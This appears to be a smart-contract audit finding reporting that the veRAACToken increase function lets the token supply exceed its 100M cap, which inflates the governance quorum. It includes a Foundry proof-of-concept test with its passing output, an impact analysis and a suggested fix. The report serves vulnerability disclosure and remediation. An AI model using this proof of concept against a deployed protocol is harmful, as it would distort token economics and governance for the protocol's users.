Summary
The veRAACToken
contract includes functionalities to lock, unlock, increase, withdraw, and extend both the locked amount and duration of RAAC tokens. The locking process issues a proportionate amount of veRAACTokens
. According to the RAAC Protocol documentation, the maximum total supply of veRAACTokens
is capped at 100M (with 18 decimals of precision), and the veRAACToken
contract is not permitted to exceed this MAX_TOTAL_SUPPLY
. However, the veRAACToken::increase
function enables users to force the contract to issue more veRAACTokens
than the defined maximum. This vulnerability disrupts the protocol's intended functionality and adversely affects the voting mechanism within the Governance contract.
Vulnerability Details
veRAACToken::increase:
function increase(uint256 amount) external nonReentrant whenNotPaused {
@>
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) =
_votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
Furthermore, the quorum calculation is dependent on the total supply of veRAACTokens
.
Governance::quorum:
function quorum() public view override returns (uint256) {
return (_veToken.getTotalVotingPower() * quorumNumerator) / QUORUM_DENOMINATOR;
}
Typically, quorum is determined as a fixed percentage—say, 4%—of the total supply. If the total supply can exceed the constrained MAX_TOTAL_SUPPLY
, the corresponding quorum requirement will also increase, making it highly probable that proposals will be defeated. Consequently, this vulnerability not only undermines proper token issuance but also raises the barriers to effective voting participation.
Proof of Concept
To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.
-
Step 1: Create a Foundry project and place all the contracts in the src
directory.
-
Step 2: Create a test
directory and a mocks
folder within the src
directory (or use an existing mocks folder).
-
Step 3: Create all necessary mock contracts, if required.
-
Step 4: Create a test file (with any name) in the test
directory.
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
contract VeRAACTokenTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200;
uint256 initialRaacBurnTaxRateInBps = 150;
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
}
Step 5: Add the following test PoC in the test file, after the setUp
function.
function testVeRAACLockIncreaseFunctionIsCapableToBreakMaxTotalSupplyConstraint() public {
uint256 LOCK_AMOUNT = 10_000_000e18;
uint256 LOCK_DURATION = 365 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
for (uint256 i = 1; i <= 36; i++) {
vm.startPrank(RAAC_MINTER);
raacToken.mint(address(uint160(i)), LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(address(uint160(i)));
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
}
console.log("after 36 different locks with full 10M raac Tokens");
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
vm.startPrank(RAAC_MINTER);
raacToken.mint(ALICE, LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(ALICE);
veRaacToken.increase(0);
vm.stopPrank();
console.log("\nafter locking alice's full 10M raac token and with zero raac tokens increasing capability...");
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
vm.startPrank(RAAC_MINTER);
raacToken.mint(BOB, LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT / 2, LOCK_DURATION);
veRaacToken.increase(LOCK_AMOUNT / 2);
vm.stopPrank();
console.log(
"\nafter locking bob's 5M (half) raac token and with 5M (half) raac tokens increasing capability..."
);
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
vm.startPrank(RAAC_MINTER);
raacToken.mint(CHARLIE, LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(3_750_000e18, LOCK_DURATION);
veRaacToken.increase(LOCK_AMOUNT - 3_750_000e18);
vm.stopPrank();
console.log("\nafter locking charlie's 3.75M raac tokens and increasing charlie's 6.25M raacTokens...");
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
console.log("Breaked max total supply constraint");
assert(veRaacToken.getTotalVotingPower() > veRaacToken.MAX_TOTAL_SUPPLY());
}
Step 6: To run the test, execute the following commands in your terminal:
forge test --mt testVeRAACLockIncreaseFunctionIsCapableToBreakMaxTotalSupplyConstraint -vv
Step 7: Review the output. The expected output should indicate that the MAX_TOTAL_SUPPLY contraint can be bypassed using increase function.
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/VeRAACTokenTest.t.sol:VeRAACTokenTest
[PASS] testVeRAACLockIncreaseFunctionIsCapableToBreakMaxTotalSupplyConstraint() (gas: 9296104)
Logs:
after 36 different locks with full 10M raac Tokens
total supply max: 100000000000000000000000000
total supply : 90000000000000000000000000
after locking alice
total supply max: 100000000000000000000000000
total supply : 92500000000000000000000000
after locking bob's 5M (half) raac token and with 5M (half) raac tokens increasing capability...
total supply max: 100000000000000000000000000
total supply : 96250000000000000000000000
after locking charlie's 3.75M raac tokens and increasing charlie's 6.25M raacTokens...
total supply max: 100000000000000000000000000
total supply : 100312500000000000000000000
Breaked max total supply constraint
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.67ms (5.68ms CPU time)
Ran 1 test suite in 9.93ms (7.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
As demonstrated, the test confirms that the veRAACToken::increase
function can bypass the MAX_TOTAL_SUPPLY
constraint. You can also notice that veRAACToken::increase
function was executed successfully with zero 0
value.
Impact
Exceeded Token Cap: The vulnerability enables the issuance of veRaac tokens beyond the predefined maximum (100M with 18 decimals), disrupting the intended token economics of the protocol.
Disrupted Protocol Functionality: Uncontrolled token issuance undermines core protocol operations, potentially leading to unintended behaviors and system instability.
Inflated Governance Quorum: Since the quorum is calculated as a percentage of the total veRaac token supply, an inflated supply raises the quorum threshold, making it harder for proposals to pass.
Impaired Voting Participation: The increased quorum requirement discourages community engagement, as legitimate proposals are more likely to be defeated, thereby compromising effective governance.
Potential Market Distortion: Excessive token issuance may lead to price manipulation and market imbalances, ultimately harming the protocol’s reputation and long-term sustainability.
Tools Used
Manual Review
Foundry
console log (foundry)
Recommendations
One possible solution is as follows:
veRAACToken::increase:
function increase(uint256 amount) external nonReentrant whenNotPaused {
+ if (amount == 0) revert InvalidAmount();
+ if (amount > MAX_LOCK_AMOUNT) revert AmountExceedsLimit();
+ // it's important to have a sophisticated time-weighted duration here
+ if (totalSupply() + calculateVeAmount(amount, _lockState.locks[msg.sender].end - block.timestamp) > MAX_TOTAL_SUPPLY) revert TotalSupplyLimitExceeded();
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) =
_votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}